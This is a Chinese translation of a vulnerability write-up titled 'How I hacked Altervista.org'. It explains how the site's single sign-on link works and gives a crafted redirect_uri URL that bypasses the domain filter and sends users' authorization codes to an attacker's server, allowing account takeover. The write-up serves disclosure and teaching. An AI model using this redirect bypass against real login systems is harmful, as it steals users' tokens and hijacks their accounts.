第十七篇:盗取登陆令牌

原文:How I hacked Altervista.org

漏洞:访问重定向窃取token

作者:Jacopo Tediosi

难度:中

登陆系统的工作原理

  在Altervista网站上瞎逛一圈之后,我注意到如果您已经登陆到您网站的管理面板,接着要登陆论坛的时候,只需要点击 “登录” 按钮即可,而不需要再次输入登录凭证,所以我开始研究该按钮的工作原理

  这只是一个简单的链接

1
https://aa.altervista.org/?client_id=altervista&response_type=code&redirect_uri=http://forum.it.altervista.org/

  如果你已经经过身份认证了,那么该页面只会生成一个”authorization_code”并且将你重定向到 http://forum.it.altervista.org/login.php?do=login-aHR0cDovL2ZvcnVtLml0LmFsdGVydmlzdGEub3JnL2ZvcnVtLnBocA%3D%3D&authorization_code=XXXXXXXXXXXXXXXXXXX

  这个奇怪的参数 “do” 包含单词 “login” ,然后将”http://forum.it.altervista.org/forum.php“ 编码为base64格式后添加在其后。

  参数”authorization_code” 包含之前生成的”authorization_code”。如果你尚未通过身份认证,它会首先询问你用户名、密码,然后以相同的方式将您重定向

How I came to discover the vulnerability

  这里存在的漏洞是如果我们能够修改”redirect_uri”参数的值,那么我们就能创建一个特殊的链接,一旦有用户点击就会将他们重定向到我们的服务器上而不是altervista的服务器,这允许我们盗取用户添加在url末尾的authorization_code(于是我们就能登录到他们的账号)

  不幸的是网站似乎对URL提交的参数进行了过滤,它只接受 it.altervista.org.的子域。关于如何绕过,可以参考下面的视频

  视屏中指出程序员在解析网址时经常会犯错,特别是当输入不符合规范时。

  于是我开始Fuzzing,最后我终于找到绕过过滤器的方法:

1
https://aa.altervista.org/?client_id=altervista&response_type=code&redirect_uri=http://google.it/http://it.altervista.org/

  因此如果我们将我们的服务器地址放到这里而不是google.it,我们就可以窃取访问token了

  拿到token就能直接登录了

1
http://forum.it.altervista.org/login.php?do=login-aHR0cDovL2ZvcnVtLml0LmFsdGVydmlzdGEub3JnL2ZvcnVtLnBocA%3D%3D&authorization_code=XXXXXXXXXXXXXXXXXXX

文章目录
  1. 1. 原文:How I hacked Altervista.org
  2. 2. 漏洞:访问重定向窃取token
  3. 3. 作者:Jacopo Tediosi
  4. 4. 难度:中
  • 登陆系统的工作原理
    1. 1.   在Altervista网站上瞎逛一圈之后,我注意到如果您已经登陆到您网站的管理面板,接着要登陆论坛的时候,只需要点击 “登录” 按钮即可,而不需要再次输入登录凭证,所以我开始研究该按钮的工作原理
    2. 2.   这只是一个简单的链接
    3. 3.   如果你已经经过身份认证了,那么该页面只会生成一个”authorization_code”并且将你重定向到 http://forum.it.altervista.org/login.php?do=login-aHR0cDovL2ZvcnVtLml0LmFsdGVydmlzdGEub3JnL2ZvcnVtLnBocA%3D%3D&authorization_code=XXXXXXXXXXXXXXXXXXX
    4. 4.   这个奇怪的参数 “do” 包含单词 “login” ,然后将”http://forum.it.altervista.org/forum.php“ 编码为base64格式后添加在其后。
    5. 5.   参数”authorization_code” 包含之前生成的”authorization_code”。如果你尚未通过身份认证,它会首先询问你用户名、密码,然后以相同的方式将您重定向
  • How I came to discover the vulnerability
    1. 1.   这里存在的漏洞是如果我们能够修改”redirect_uri”参数的值,那么我们就能创建一个特殊的链接,一旦有用户点击就会将他们重定向到我们的服务器上而不是altervista的服务器,这允许我们盗取用户添加在url末尾的authorization_code(于是我们就能登录到他们的账号)
    2. 2.   不幸的是网站似乎对URL提交的参数进行了过滤,它只接受 it.altervista.org.的子域。关于如何绕过,可以参考下面的视频:
    3. 3.   视屏中指出程序员在解析网址时经常会犯错,特别是当输入不符合规范时。
    4. 4.   于是我开始Fuzzing,最后我终于找到绕过过滤器的方法:
    5. 5.   因此如果我们将我们的服务器地址放到这里而不是google.it,我们就可以窃取访问token了
    6. 6.   拿到token就能直接登录了
  • |